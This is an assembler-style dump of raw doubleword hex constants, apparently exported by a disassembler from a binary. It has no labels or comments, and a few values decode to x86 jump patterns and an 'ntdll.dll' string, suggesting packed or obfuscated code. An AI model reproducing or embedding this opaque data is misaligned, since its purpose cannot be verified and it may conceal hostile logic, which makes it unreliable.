		dd 0D03A2817h, 0F853DD45h, 3360844Bh, 5B682A5Dh, 0DA306983h
		dd 5AB0B11Bh, 0A5C3BF23h, 6E5E0069h, 7DF7481Dh,	6BDD44F7h
		dd 37A33EB8h, 0B225A329h, 33602B11h, 8DBA6C17h,	0F1F05F15h
		dd 2B59CA6Dh, 534F3360h, 0ACDD3734h, 0E4184632h, 0AD88DA98h
		dd 94ADA733h, 3554BAA9h, 7BE520DDh, 1EF4DED0h, 44229838h
		dd 0EB26C89Fh, 2100BDACh, 1BAAD3CFh, 0F13AAD47h, 0C68EEA72h
		dd 93D2147h, 0ACB90000h, 9A4CCB46h, 491A2570h, 392F16A3h
		dd 0D1F35AD7h, 0DE7F8A07h, 0ACF92FD1h, 912CC2E1h, 0C05D8BB6h
		dd 328F6545h, 9809A22Ch, 8E336084h, 2F6CC75Bh, 35CCE98Ah
		dd 0E1F75BDh, 6EA726h, 196B855Bh, 0EBEE208Bh, 12883EB2h
		dd 10FAEF54h, 500FD85h,	0A421DD5Bh, 35E38DF3h, 94BAAA14h
		dd 33E58F2Eh, 0A6BCA80Ah, 12DEC415h, 7C63AA38h,	1BF7EB92h
		dd 0EE49D75Dh, 3883DC45h, 5EE57F6Bh, 455C628Ch,	516E7F10h
		dd 4FC7326h, 4D255B4Fh,	421BD055h, 85100C7Fh, 0DD42A8BAh
		dd 8EED4B3Ah, 989CD86Dh, 0DC000008h, 0E954E10Bh, 0B39A17FDh
		dd 4EC944AEh, 1A25709Eh, 0D615A076h, 82547877h,	0B7590837h
		dd 0E630D37Ah, 14FEECABh, 0A4179999h, 3360870Fh, 57ACF611h
		dd 35CCE93Eh, 5BB1B219h, 42A8BA09h, 37CE0FF7h, 0B225A329h
		dd 35CCE911h, 66D9AB07h, 3EB2381Ch, 0A02E48A2h,	0B5CF193Bh
		dd 3EB1630Eh, 0D93ED0A4h, 0D0896745h, 8B06F2EEh, 0CF2506ADh
		dd 0B5630EB5h, 9B862DABh, 0E9A21C4Dh, 336A5578h, 4FFE746Eh
		dd 81229h, 0E11C7100h, 25913A24h, 0B13EB2DDh, 44E12059h
		dd 3B336ADAh, 6A81057Fh, 29F65897h, 151h, 6EB85BE9h, 6CD1903Fh
		dd 0B55C917Fh, 0B91ADFB2h, 36229CCDh, 0F818D428h, 25D82F08h
		dd 9357FE2Fh, 0F561037Dh, 0E38D44D7h, 0CC65DB48h, 0F9D5CD35h
		dd 0E7620D40h, 57FC5FC7h, 5935CC65h, 0EAD47561h, 42814EFAh
		dd 7E6A82B2h, 0AF796423h, 3DD810FEh, 3EE89433h,	0CC1DBE24h
		dd 0A235CCA5h, 33FF1148h, 0D79532C1h, 0C49E0039h, 0E482547Fh
		dd 0F183557Fh, 3CEA95B0h, 0A6D9CE0Dh, 62AE35CCh, 9DFC210h
		dd 0FF1AD6BCh, 483ABB54h, 54D0C025h, 214DCC6Fh,	0EA4D2B07h
		dd 35CC2771h, 67ED8B67h, 0CC275FF4h, 1B694135h,	0AA441BAAh
		dd 0DF31301Fh, 0FA4367AEh, 675B02E8h, 90B3D28Bh, 0F8E82746h
		dd 0CC8B7716h, 6854F51Fh, 95B33240h, 5F04F70Dh,	0A6ED6789h
		dd 71DC6987h, 0E5ED9C72h, 0E8432DE8h, 3EB23652h, 0D67BDC04h
		dd 0C8336A34h, 6258F719h, 4D1C3B76h, 0EC6AFAA3h, 6A34264Bh
		dd 0E234D833h, 0B22847BBh, 799C54A0h, 343B5CFFh, 0C53D336Ah
		dd 52A068A4h, 0F24FA180h, 0FC7A944Bh, 0C27BAD57h, 0AB2382D0h
		dd 2295D32Ah, 3814251Ch, 0EB75C03Ah, 0AA73A14Ch, 37D3A0FCh
		dd 0B8075D49h, 0BB5514A9h, 77A14382h, 2B12AF9Bh, 7C90DE08h
		dd 7193DFDDh, 58196BA6h, 76FC7A0Eh, 0CCE9ACC5h,	3358B235h
		dd 35CCE99Eh, 0AC582A80h, 218AD431h, 3EB2EA1Dh,	7598C139h
		dd 0F40E9B71h, 3826E31Ch, 0E9E819B2h, 76FE35CCh, 0CCE9ACC5h
		dd 6C58B235h, 0FB14B716h, 8435CCE9h, 0FE6596ECh, 914C06ECh
		dd 0F0FEA47Ah, 4339h, 835BF900h, 0D74E816Dh, 0CAA6FCCCh
		dd 2CD37093h, 0CCD435CCh, 0A84264B6h, 7A9740CEh, 6C35CC2Ch
		dd 0F319C976h, 38692061h, 0ED35CC0Bh, 0F5897383h, 59AAE747h
		dd 0FF9AAD0Bh, 0EF27FFFFh, 103A7634h, 56EA7821h, 0D16D875Bh
		dd 27AD2B45h, 0CCE91FB4h, 0E2A90135h, 35CCE941h, 0A9E97B57h
		dd 0EA26E31Ch, 0E60CDD7Ah, 48095B47h, 0B0A60D3Eh, 0EB50F3FEh
		dd 2B441EC8h, 26h, 26E31C97h, 24CE9338h, 0D17A122Eh, 35CCE9B0h
		dd 7AF04CA6h, 69835B2Eh, 7A05A1DDh, 6CE60CDDh, 4E0Eh, 0DD7A5200h
		dd 0F46E70Dh, 8DC7B365h, 8D88641h, 8E2947E6h, 35CCE965h
		dd 0B7A39F0Bh, 0B0D17A7Bh, 9735CCE9h, 4D0E477Fh, 8BD9383Bh
		dd 7AA1FDD5h, 7D9757FCh, 77E2D2CCh, 0AAE1526h, 5BB2CE84h
		dd 810F6983h, 0CCE9BDD6h, 3D37A335h, 5B05A165h,	9E3D6C86h
		dd 35CCE975h, 0A754AE6Ah, 0FF4096Fh, 5F15C6FBh,	8C19F3F0h
		dd 0CCC99B8Dh, 34B2BC35h, 0A9E40DAEh, 108A35CCh, 0CCA9D67Bh
		dd 90E2D835h, 0FFF38A0Ah, 3D278CFFh, 55CAFBEBh,	8F02D5C0h
		dd 0DD7ABDF5h, 944E533h, 1688B167h, 0C39B283Ah,	0F528A32Dh
		dd 0DECA7F18h, 0DE082B90h, 551433AFh, 421082BBh, 0A8BA210Fh
		dd 0ADA71B42h, 0F69A421h, 0B2BED2ACh, 7E6ED53Eh, 7FF5E990h
		dd 10B3EAC0h, 336ABEF7h, 1692E088h, 0F658FFFBh,	534DC14Fh
		dd 0EDD505DDh, 0C0A7CC8Fh, 5149336Ah, 76803h, 722A0000h
		dd 1, 56E11CD6h, 0CCE94CE5h, 8C785235h,	896745E2h, 0D4C275FBh
		dd 0A23EB2F2h, 9E812E48h, 0D3FE1148h, 8E7A6405h, 0AA71696h
		dd 0F68CA1C4h, 0C42E3857h, 0BE01C9Ah, 9DB5E53Ah, 0DC872C6Fh
		dd 31A9336Ah, 0DC6F8437h, 9971336Ah, 5383B6CBh,	2B336ADCh
		dd 2B90DE08h, 33AFDE08h, 3A256021h, 52582ECh, 0B8EC52EBh
		dd 6B4739CDh, 0BD4BB419h, 8557AD61h, 0A4224C9Ah, 6A359E33h
		dd 3A2A8033h
		dd 649BFED5h, 9DD4AE65h, 7E5AB0B2h, 1FFB11D1h, 0E2304268h
		dd 98962AC0h, 10C12F33h, 85B94E74h, 0B63E6F5Bh,	6A80EC05h
		dd 2C18F233h, 0D60D1A56h, 95F07EB0h, 0A4h, 21E41C1Dh, 0B5D17A95h
		dd 6035CCE9h, 0FC7A3C88h, 92B9257h, 0D191E3DFh,	5BEDC438h
		dd 45D16D87h, 26E31CF9h, 0FDD7AEAh, 0C46B8E1h, 9C4CEB75h
		dd 0DA0E072h, 0F3FEB0A6h, 1FA5h, 0E31C6D00h, 0D17AEA26h
		dd 35CCE9B0h, 7AF04CA6h, 3A835B2Eh, 5DE9C52Bh, 347205A1h
		dd 0D6000000h, 0E60CDD7Ah, 0FD095B47h, 0D3590702h, 0E941E255h
		dd 7B5735CCh, 0CCE9B3D0h, 374DA535h, 0B0D17A7Bh, 6735CCE9h
		dd 2E7A3F8Bh, 293A835Bh, 4C389AC3h, 7205A1F0h, 0FFFFFF62h
		dd 67895F04h, 0E40DAEC6h, 8A35CCE9h, 122E2410h,	0ACD68A7Ah
		dd 3F17FDEDh, 5D17425Dh, 6F1EF4F6h, 5DE80220h, 0F5D938B5h
		dd 83A07B29h, 0B7A34919h, 283A9DDBh, 3E3EB289h,	0C966A5C4h
		dd 0CF336A84h, 548F11Bh, 0E28EC927h, 7A341534h,	0FBB78908h
		dd 0C5D60D89h, 6E95F658h, 0CF000000h, 0F1A84260h, 3619150Dh
		dd 0F7E01D0Fh, 0E11C257Dh, 0E9913A24h, 8D3EB2D8h, 6ACD4B15h
		dd 336AC6F9h, 0CC61F3EFh, 39106CA0h, 0AA5C7200h, 5F15C3EDh
		dd 6A5D53FCh, 7F915533h, 9CC58ACFh, 631AF680h, 0B5D43E2Ch
		dd 0A373903Bh, 8D65336Ah, 4CCDC7C3h, 0C044BE7Ah, 0F658EE29h
		dd 0DE34369Dh, 7D9641AFh, 63336ABFh, 0AEC99B77h, 0CBh
		dd 6D875B14h, 39EF913Ch, 0F71DCD00h, 922B3F56h,	47EC4FD3h
		dd 6935CCE9h, 0CFA98571h, 0F1A84260h, 0E9B7DC7Fh, 41B935CCh
		dd 0F7421F55h, 35CCED92h, 0B2BC5614h, 8DBC6A15h, 70E4311h
		dd 3A90C923h, 0B32442BBh, 3EB2C163h, 30DA9B0Bh,	0CA4652D0h
		dd 63E60BACh, 1288336Ah, 0EAEBEB26h, 37CF5513h,	0C3E1B8E0h
		dd 92827C2Dh, 67FD9EA3h, 120DECD4h, 4464C338h, 8F7BD8AAh
		dd 80567AE1h, 0B0660A35h, 0EDABD24Fh, 2044C98Eh, 223h
		dd 0D16C86A7h, 0F9A7076h, 7CC92300h, 0A0FD13D1h, 902DFBE5h
		dd 0D9FBF449h, 0D48BB20Fh, 0BDA0EF3Ah, 7377DE6Bh, 98260C99h
		dd 609D923Fh, 0D1618433h, 0D26FB95Bh, 23CE776Bh, 71A74AF5h
		dd 7AFE0885h, 6DE70DDDh, 0CFA96461h, 0B2D85E6Ch, 0E39A703Eh
		dd 6AD907A0h, 42B07833h, 58942BC6h, 906AF6h, 5B280000h
		dd 85036D87h, 0CCE9B1D2h, 394BA735h, 81577994h,	392F94D8h
		dd 413A9DD7h, 4735CCEDh, 113C8963h, 482BB51h, 89224CC9h
		dd 3EB2C065h, 460C9971h, 5AE08E87h, 6504D2FDh, 0CBA8EB79h
		dd 9D38126Ah, 0F09C3B25h, 80ACEB26h, 0D11AF156h, 0D86D8EEDh
		dd 16A9Ch, 13F9EE00h, 45AFBF86h, 769C4DC8h, 0A24C1C3Bh
		dd 0D2042817h, 0EA90447h, 0DE79B462h, 0E954E10Fh, 0BA8510C6h
		dd 6FF742A8h, 9CDD76E1h, 98C33360h, 6FB95B9Ah, 9D776BD2h
		dd 875BF600h, 0E917BC1Fh, 0A11935CCh, 697994B5h, 8D483683h
		dd 4145F670h, 153EB2EBh, 9943B3BDh, 9D3597B5h, 41CF552Fh
		dd 0BFAA86CDh, 706D45AFh, 2390E225h, 7B8BD53Fh,	35E4C026h
		dd 4791BCBDh, 0FD58196Bh, 686607EDh, 65D6906Dh,	381E0726h
		dd 0C7630DB4h, 9EB7FF14h, 1D09E138h, 2186726Ch,	8EEA35D0h
		dd 0C8668687h, 0C000000h, 0D964B15Bh, 0E3AAE70Dh, 0BE9914FEh
		dd 4AF540AEh, 0E62570A6h, 5284A847h, 876978C7h,	0B660030Ah
		dd 0E40EDC7Bh, 9447C9A9h, 33609F7Fh, 1C7CC661h,	0BC3A24E1h
		dd 92B95317h, 35CCE971h, 0E608D867h, 156F5B47h,	2692C8Fh
		dd 913E3EB8h, 910D3CD2h, 0E8766CC3h, 0B358C962h, 544E3360h
		dd 4260AF1Eh, 30321DA8h, 0E64DA3DAh, 0E7582AC0h, 9A28E6ECh
		dd 7685FFBBh, 80A118C9h, 0A1CF7E6Ah, 0A8C49D36h, 3B17835Ah
		dd 3DF4D4Bh, 0BFB5DFBBh, 6DB85210h, 3885A403h, 8BD5C12Bh
		dd 0A80E8320h, 273D955Ah, 7920CA98h, 41F816D6h,	0A371830Fh
		dd 5CD855BFh, 2919F3F7h, 0B861F16Fh, 0B300528Dh, 0C02445AFh
		dd 3, 5B821E98h, 9E316882h, 0C80726CCh,	3B4AF325h, 7C93CA24h
		dd 0A8E78650h, 0E42B5284h, 0DC732AC4h, 944E50Fh, 0A496B75Dh
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68241C89h, 7985h
		dd 68240489h, 3E5Ah, 57243C89h,	5BA2B850h, 0C78906ACh
		dd 5FF88958h, 243C8B54h, 4C481h, 0A2680000h, 89000061h
		dd 478F2404h, 243C8B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 5724048Bh, 0C781E789h, 4, 4C781h, 3C870000h,	0F4E95C24h
		dd 0A2FFFA05h, 0A97C2514h, 8A02186Fh, 44B87F27h, 306AC77h
		dd 85C650C5h, 6A60C29h,	17256847h, 0B5FFCF38h, 6A62F8Dh
		dd 3AC3858Dh, 0D0FF06A6h, 858DD88Bh, 6A601E9h, 1046850h
		dd 0D3FF0000h, 0C2985C6h, 685306A6h, 8307F8BFh,	2F8DB5FFh
		dd 858D06A6h, 6A63AC3h,	8589D0FFh, 6AC596Ah, 1B25BD83h
		dd 0F0006A6h, 0B84h, 199D8B00h,	0E906A606h, 5, 0BBh, 1006800h
		dd 0B58D0000h, 6AC596Eh, 95FF5356h, 6A63389h, 596EB58Dh
		dd 0F00306ACh, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 0AC596E85h, 95FF5006h, 6AC596Ah
		dd 0F4E0FF58h, 0CB60A628h, 821745Eh, 2840E4B2h,	8B00DF79h
		dd 0D74A463Ah, 3231812Dh, 0CC0C366Ch, 8D2EAF43h, 0CC303790h
		dd 8D2D960Ch, 0AC79188Dh, 85850906h, 6606A626h,	892D2EBEh
		dd 0A606AD8Dh, 0C7DBB306h, 0A6040D85h, 5AB406h,	0C5BD8B00h
		dd 0C706A60Ch, 0A60BE985h, 6, 0A5958B00h, 0FF06A60Dh, 0A61EEDB5h
		dd 0F98B6606h, 22998509h, 95FF06A6h, 6A61A79h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F4C35646h, 0F1E34551h
		dd 4F6A1698h, 0FF006A0Eh, 0A6295995h, 0EBC08B06h, 9D71B04Bh
		dd 40BD5F05h, 71C9FA01h, 0AF69F7D4h, 6BC61FB0h,	0ED825749h
		dd 0B11814D7h, 2A8B1D5Eh, 0F147F80Bh, 0BA1877D4h, 139C53D2h
		dd 0D673A089h, 41D68B99h, 2982FB59h, 0AA96BA14h, 3C98CA7h
		dd 0FB5048C2h, 0A671CB0Bh, 0B08A95C9h, 0EE8h, 7F248500h
		dd 503BC5B7h, 0BE598A54h, 89E775D8h, 0A61D39BDh, 958B5B06h
		dd 6A62BDDh, 5DF6C381h,	3AB90000h, 331DD06Dh, 558D8BC0h
		dd 8B06A60Dh, 0B5890334h, 6A62ABDh, 0F300F681h,	0BF6609ACh
		dd 0C6812D41h, 61EC2910h, 98C681FCh, 892536F1h,	0A62A4D9Dh
		dd 3348906h, 11E9B589h,	0E88306A6h, 68A0F04h, 81000000h
		dd 6017BBCFh, 0A0F88152h, 0FFFFFA2h, 1385h, 8D8D8B00h
		dd 0E906A62Ah, 17h, 4049DA3Dh, 545B4D1Dh, 9CE9CB8Ah, 8DFFFFFFh
		dd 19FD3F59h, 0E82B3BB6h, 8, 0ECB36F0Ah, 1D293DF0h, 59F98B66h
		dd 1A359D09h, 0C18106A6h, 73B7h, 0EE8h,	552FCB00h, 32BAF8E8h
		dd 0CA64B211h, 5B788360h, 1CC8B8h, 8B31FF00h, 0A6319DBDh
		dd 9E85A06h, 62000000h,	1E1ED908h, 0BF434D75h, 77EA815Bh
		dd 8B265FBCh, 6AEA81F2h, 8B7D7C54h, 16EA81FBh, 0F91CC921h
		dd 0E9831189h, 0C9BD0304h, 8106A618h, 1E8h, 0E850F00h
		dd 0B7000000h, 1DE996h,	51980000h, 1C0C3661h, 0DD9D8B6Bh
		dd 0E906A61Dh, 0FFFFFFA1h, 0B4899F42h, 0E15118h, 0E906665Dh
		dd 44h,	65BA6CB2h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch
		dd 1467006Ch, 8003B2BDh, 0FEB9h, 9 dup(0)
		dd 6A2E9h, 7C4B6800h, 0ACE906ACh, 68FFFA02h, 6AC7D21h
		dd 0FA02A2E9h, 7DE168FFh, 98E906ACh, 68FFFA02h,	6AC7EB7h
		dd 0FA028EE9h, 7F5468FFh, 84E906ACh, 68FFFA02h,	6AC804Ah
		dd 0FA027AE9h, 977D6AFFh, 0C12B331Ah, 0F218C974h, 26C898A7h
		dd 5680ACEBh, 822D80DBh, 52FD489Eh, 65207D93h, 3611AC7Ah
		dd 0E343DE34h, 9249FA5Dh, 2C5F3360h, 297216h, 5F040000h
		dd 8B3A63B5h, 9E0039D3h, 0C785B2A2h, 445A8A9Bh,	875B720Eh
		dd 0D5C12F3Eh, 0A34919B4h, 0E98A2316h, 0E18C35CCh, 7AA0FA37h
		dd 73069D8Ah, 5C40F6F9h, 0F3EFD38Ah, 0BD589561h, 0BC618B3h
		dd 3A903EB2h, 0E3A7C003h, 83A1336Bh, 0EF913C6Dh, 0E343E04Bh
		dd 7D55336Bh, 35FDD881h, 0A0485EDFh, 0AE3BD652h, 717AF659h
		dd 0EA000002h, 51749E4Dh, 0C6807F7h, 0C33F6E5Ah, 4309F1B1h
		dd 0A372ED21h, 0FE3F06E4h, 0EEAAC770h, 46BC35CCh, 805C00Ch
		dd 0F289CD6Eh, 756D3EB2h, 458C6A31h, 508DFF9Ch,	0CE00ABB5h
		dd 99F46668h, 0D9893032h, 960D4733h, 13E30D3Ch,	0B6101F3Ah
		dd 0FFE1AE9Fh, 0F48E7029h, 3630CD08h, 0CDD14885h, 65D61EEFh
		dd 0EDE8D5CCh, 620CF8D2h, 0B20FE5C5h, 0CA3DD78Bh, 0C41837CAh
		dd 9C2C48FDh, 10000004h, 2560BD57h, 0F75EEB01h,	828D18F2h
		dd 56F14CA2h, 9A217CAAh, 5E88B443h, 8B6544C3h, 0BA6C173Eh
		dd 0E802206Fh, 0E04BD55Dh, 33609543h, 5B603255h, 0D63C6D87h
		dd 0C770FE17h, 3EB2F3BBh, 25978272h, 50C24275h,	2B35AD02h
		dd 0CE2406ADh, 6A65648Dh, 0C2900A33h, 0A268D28Fh, 68CEA23h
		dd 65B2DF78h, 4EA4336Ah, 79438334h, 0BF2B3814h,	3A18206Bh
		dd 0A00FA1E6h, 0C13D6C86h, 208A4BB3h, 73FDE903h, 588686D8h
		dd 667E509Bh, 0F9712AA6h, 0F0DE8F7Bh, 0A65E18F5h, 2CD704ECh
		dd 675F43FAh, 0F45ACABh, 33B936A1h, 33AF9227h, 32DC8E35h
		dd 0D90A1256h, 4AC7B358h, 5EF364E2h, 4086F56Bh,	6AB0C6Ah
		dd 2886F56Bh, 4F13A0B2h, 0F25842A5h, 3E4FE902h,	3C6BEh
		dd 876D7A00h, 0B15B030Ah, 0E208D964h, 16F8E857h, 4690BC9Bh
		dd 921DB0CBh, 0A2ED38EEh, 75D06D83h, 6019C4Ah, 0F373CE24h
		dd 9459CA6Dh, 1C4F3360h, 768A7A06h, 0B7219A30h,	18CA790Bh
		dd 7D69BFA1h, 0E07C6CCh, 1D8BF760h, 85223EB2h, 0B6214FA5h
		dd 336A111Dh, 66DD9703h, 9451318Ch, 0CE07FF79h,	88BC842Dh
		dd 0A3149AE8h, 381E4FB2h, 0F61CCE75h, 457B6B57h, 0EBF34B15h
		dd 0F2E8471Dh, 0F11BCF74h, 0F01AC877h, 877D5549h, 0E5D589C5h
		dd 0A1ECA5BFh, 0A60D6B81h, 0B0156F85h, 4629B5Ah, 0D8B4DD7Eh
		dd 40BA389Eh, 1B0BAC32h, 4233E0EDh, 542EC4E5h, 7F9150FFh
		dd 0F681C83h, 0A3B8844h, 306D2h, 47ADBA00h, 719B43CAh
		dd 0A2481924h, 0D6382817h, 6D0FC5Bh, 0D2DD708Bh, 0E2ADF82Eh
		dd 0B5902DC3h, 46C15C8Ah, 33338E64h, 94990AADh,	5C8F3360h
		dd 6D875BC6h, 0AD17D63Ch, 0C81E02BFh, 4531ADDCh, 198BEB1Bh
		dd 8F816D6h, 3536196Fh,	5834AEDFh, 0F33A40Ah, 173EB2BEh
		dd 5E0E6EBBh, 52000001h, 0B63C3009h, 0CCE9EC05h, 4A18F235h
		dd 0ACCA4382h, 0E91CB526h, 0A80235CCh, 63E354DAh, 0B3EB2F5h
		dd 0E5D94AEDh, 0D3CF336Ah, 0E5812295h, 3B97336Ah, 0F750FB4Fh
		dd 0B60EADECh, 2790DE37h, 0C551F197h, 1CEA7E96h, 9776BDAEh
		dd 0DD8C66DDh, 531DF8F5h, 3E8A6FF8h, 0E781793Ch, 0E6806A78h
		dd 6A876979h, 511740F3h, 4E03514Dh, 9609E3C7h, 9308B9F8h
		dd 307EFE8Fh, 0EC000002h, 0B98411FBh, 43CA47ADh, 1E39749Eh
		dd 2A15A04Eh, 645D006h,	0B26408A7h, 0E709D867h,	16C0E3AAh
		dd 44AEBC9Bh, 74E769C9h, 336097DFh, 5B9CA6C1h, 0D63C6D87h
		dd 0EA70FE17h, 0D392DD1Ah, 0D2A02BC6h, 0B217D161h, 0B00DE53Eh
		dd 30AD61C7h, 0AE208BD5h, 4838141Bh, 85AF1452h,	0BAC82A53h
		dd 696BADEEh, 9D58ABA2h, 21550660h, 35A29C16h, 0A726ACDDh
		dd 1E57006Eh, 0C89C63F7h, 3B2F94D2h, 0EE49A382h, 4CCB6041h
		dd 0D88AB5A1h, 0BB970B32h, 0E903276Eh, 0BDC40676h, 90D479F2h
		dd 193h, 79B45E0Fh, 57E208DEh, 8411FBE8h, 0C845ABB9h, 3875A34Dh
		dd 81A34CE1h, 6C73DA57h, 65083782h, 0BDF66B3h, 40CE54E1h
		dd 60967A97h, 79396C33h, 0BC1F875Bh, 35CCE917h,	94B5A119h
		dd 1846BF3Eh, 0B2C6C3BFh, 0A2FFEB3Eh, 24E11C68h, 20CE9D3Ah
		dd 61CF8579h, 0B8641FF6h, 65468D3Eh, 0CE4DE8Fh,	0BA738B9Dh
		dd 7EF8D4D8h, 0AEFB11D1h, 7029C3E7h, 0F1F15B9Ah, 0D770621Bh
		dd 610FFB2Dh, 1497E9F6h, 8C36CE38h, 56C2E0F4h, 6A13F9E9h
		dd 69C69C88h, 9A48F771h, 0BD3B2570h, 95D1E91Ah,	0CE07FF38h
		dd 0F6758499h, 12A1B3AFh, 6D83BA50h, 0DA7DE5C6h, 389533A9h
		dd 365743BFh, 8F4EB6CCh, 9262E876h, 9B7E3E22h, 0D1AD512Ch
		dd 531CFA7h, 71924523h,	67389541h, 4846F98Bh, 1E33EB5Ah
		dd 6019F3F7h, 5806AB0Ch, 0B2282633h, 0EB75EAC6h, 40883CC2h
		dd 9DABCDh, 54110000h, 22463BEh, 0F1F25DE8h, 0A1878E1Bh
		dd 0A94BF24Fh, 46E7227Fh, 0C45187A9h, 9846A79h,	78B5630Eh
		dd 0AAE70DDDh, 70913AC4h, 66336069h, 0E11C7FC3h, 0D8913A24h
		dd 0AF3EB863h, 9FCE2000h, 18F25123h, 1CF2F15Eh,	42E3716Dh
		dd 78B55F03h, 46E70DDDh, 89EC0003h, 0F90B179Ch,	40DD372Bh
		dd 5E0FE5C5h, 0AEDF3137h, 6F73D866h, 68FAE485h,	45B94AB8h
		dd 0B8F9E087h, 13A0B2AEh, 2D68A54Fh, 1952D33Dh,	7A23F59Fh
		dd 0F763A898h, 678C2F49h, 95C0F09h, 6084A591h, 3, 5B821E38h
		dd 9E316882h, 0C80726CCh, 3B4AF325h, 7C93CA24h,	0A8E78650h
		dd 0E42B5284h, 0DC732AC4h, 944E50Fh, 0A496B75Dh, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 4832424h, 89560424h
		dd 4C681E6h, 83000000h,	348704EEh, 14895C24h, 1E46824h
		dd 4890000h, 31BB5324h,	5306AC7Bh, 64242C81h, 5A13BB53h
		dd 5364C281h, 815B13BBh, 4ECh, 24248900h, 4240481h, 58000000h
		dd 89D68956h, 348B0870h, 4C48324h, 582434FFh, 0FF04C483h
		dd 815A2434h, 4C4h, 0FC21E900h,	4580FFF9h, 16A482Ch, 0C6D0D4FCh
		dd 0B845B376h, 6AC810Ch, 0E0FFC503h, 322DF334h,	36171540h
		dd 22E6E71Eh, 38EAB467h, 34655658h, 438F6425h, 2A9530B8h
		dd 52DA1776h, 18C136EDh, 19C2A343h, 0CD5BD9Fh, 1E68F640h
		dd 731EEA13h, 11E8h, 8AE17B00h,	0DE831E44h, 202A1E4Dh
		dd 0F1017938h, 81665B4Eh, 5F2DC9DAh, 74C781F9h,	0E9000070h
		dd 0Eh,	775F8B9h, 9389249Fh, 9A2CCFDAh,	0F62B442Bh, 14E9h
		dd 1FCD2E00h, 9D52C21Dh, 0A31798A8h, 396DE772h,	887CCE4Bh
		dd 371C8B72h, 0C381E38Ah, 51557982h, 0C9B6C381h, 81667B9Fh
		dd 81F29CF0h, 4A53EF3h,	53D08B37h, 4D36B866h, 0F37048Fh
		dd 588h, 0D9816600h, 0E28ADCDCh, 2F8AEE81h, 81667C28h
		dd 81CC32E1h, 282F86C6h, 22B8667Ch, 44FE8163h, 0FFFFF90h
		dd 0FFFFAC85h, 168A0FFFh, 0E9000000h, 11h, 16CE45AAh, 8DAE5E10h
		dd 0A25B1306h, 35C7DEFDh, 25E963h, 0B9D30000h, 1AA3h, 7	dup(0)
		dd 0E9000000h, 52Fh, 0AC83C868h, 0FADDE906h, 3B68FFF9h
		dd 0E906AC84h, 0FFF9FAD3h, 0AC85C868h, 0FAC9E906h, 0ACB9FFF9h
		dd 9A4CCB46h, 491A2570h, 392F16A3h, 0D1F35AD7h,	0DE7F8A07h
		dd 0ACF92FD1h, 912CC2E1h, 0C05D8BB6h, 328F6545h, 9809A22Ch
		dd 8E33606Bh, 0DD7AC75Bh, 266DE70Dh, 4294BF3Ah,	0ADCBA71Bh
		dd 90C92706h, 5EF1542Eh, 0DE34358Ch, 0CA4733AFh, 224CC904h
		dd 0B2DA0D89h, 0F8A1193Eh, 6AD82C59h, 6DA75333h, 8831319Eh
		dd 235A36D8h, 9148A5BFh, 0D0F65895h, 2E9h, 404A0952h, 8D5DFA85h
		dd 0E9BFD467h, 49A135CCh, 26B8135Dh, 13EB2F5h, 0E5B3D07Bh
		dd 4DA5336Ah, 0E7509837h, 336AE54Ah, 175D625Ch,	63856913h
		dd 4079B77h, 36D5BE12h,	5808B233h, 6C2B97B6h, 0B9A7937Dh
		dd 0BEC07C1Eh, 0DE98723Ah, 0C99B7171h, 966F6E64h, 6C816FC8h
		dd 0BD153400h, 0BC5614B3h, 0EE042661h, 0E3E96479h, 32AADB8Ah
		dd 332h, 9520CA93h, 0DB56BCAAh,	8856F7Ch, 64B15F0Dh, 54E137D9h
		dd 153FB815h, 18CF76C3h, 0F19CBBF6h, 0BFA3EA27h, 0D45AD855h
		dd 606ACE63h, 0EDB5D033h, 0ED00FC7Ah, 0C59A23A5h, 780AA7D4h
		dd 0F51C35CCh, 70621BF1h, 0C706CE84h, 0BCB7204Eh, 0AA3EB8FAh
		dd 0E7893630h, 0B759E431h, 0FB43861h, 1CBFB55Fh, 3361FAF0h
		dd 0A91EF4F6h, 958F5922h, 0BF1450F5h, 60000002h, 3510AD47h
		dd 0C74EDB31h, 92BD08E2h, 0A6E13CD2h, 8AD16CBAh, 4E988433h
		dd 7B9554F3h, 0AA7C672Eh, 0D832301Fh, 0F05BE54Dh, 33606D53h
		dd 1C102245h, 4CE556E1h, 5235CCE9h, 0EEDA342Bh,	6AE076F6h
		dd 18F4671Ch, 60F2FD5Eh, 0AE03EB8h, 64973053h, 0C0E83360h
		dd 44CD41B2h, 0C32C2ABFh, 0AC987277h, 0AC843FD6h, 9AC3F652h
		dd 9D000001h, 0F7B21961h, 3D9E1EF2h, 33601E94h,	3E34209Ah
		dd 6D875B62h, 0EABFF303h, 5C34DA8Ah, 0FE743B00h, 3C9B214Fh
		dd 1B88C32Dh, 4A35CC75h, 0E6846E4h, 716906B1h, 4CFD2BD6h
		dd 0AFB30052h, 94C5BA41h, 29056B2Fh, 0A10A909Ch, 35CC7E00h
		dd 5EA6BC16h, 0DD0B359Fh, 1ED487E1h, 0C03EB250h, 2445ABB9h
		dd 0B15ABBBEh, 7E6A55F0h, 0FB8DB82h, 70336A9Bh,	13CE4AB8h
		dd 52F658DAh, 3Ch, 20E11CD0h, 0BA9E91E2h, 9FCABA28h, 0B745CD2Bh
		dd 8235332Fh, 3EB2C0F8h, 0C605249Eh, 336AAEA9h,	6CE81AD6h
		dd 0F658E3B5h, 0B0F4h, 0E1C76C00h, 8C645E0Fh, 3F8EBBCAh
		dd 4F03517Dh, 2D3E875Bh, 268DEBC7h, 2B9AE806h, 7F2EF8E4h
		dd 88AB12D0h, 0E9668B2Ch, 920835CCh, 20F699A6h,	0F0A98579h
		dd 2A678D5Dh, 0CCEEA46Fh, 7AF30335h, 65849034h,	0A5850A58h
		dd 0D10CF24Fh, 0A17C9546h, 5B2535CCh, 1A4CCDB8h, 85716906h
		dd 8B8E70DBh, 0B2283EB4h, 0B3650FB4h, 0E335DF66h, 9302337Ch
		dd 43A5A895h, 132h, 9520CA93h, 0DB56BCAAh, 8856F7Ch, 64B15F0Dh
		dd 54E137D9h, 153FB815h, 18CF76C3h, 0F19CBBF6h,	0BFA3EA27h
		dd 0D45AD855h, 606CCE63h, 0EDB5D033h, 0D26FB95Bh, 9D776Bh
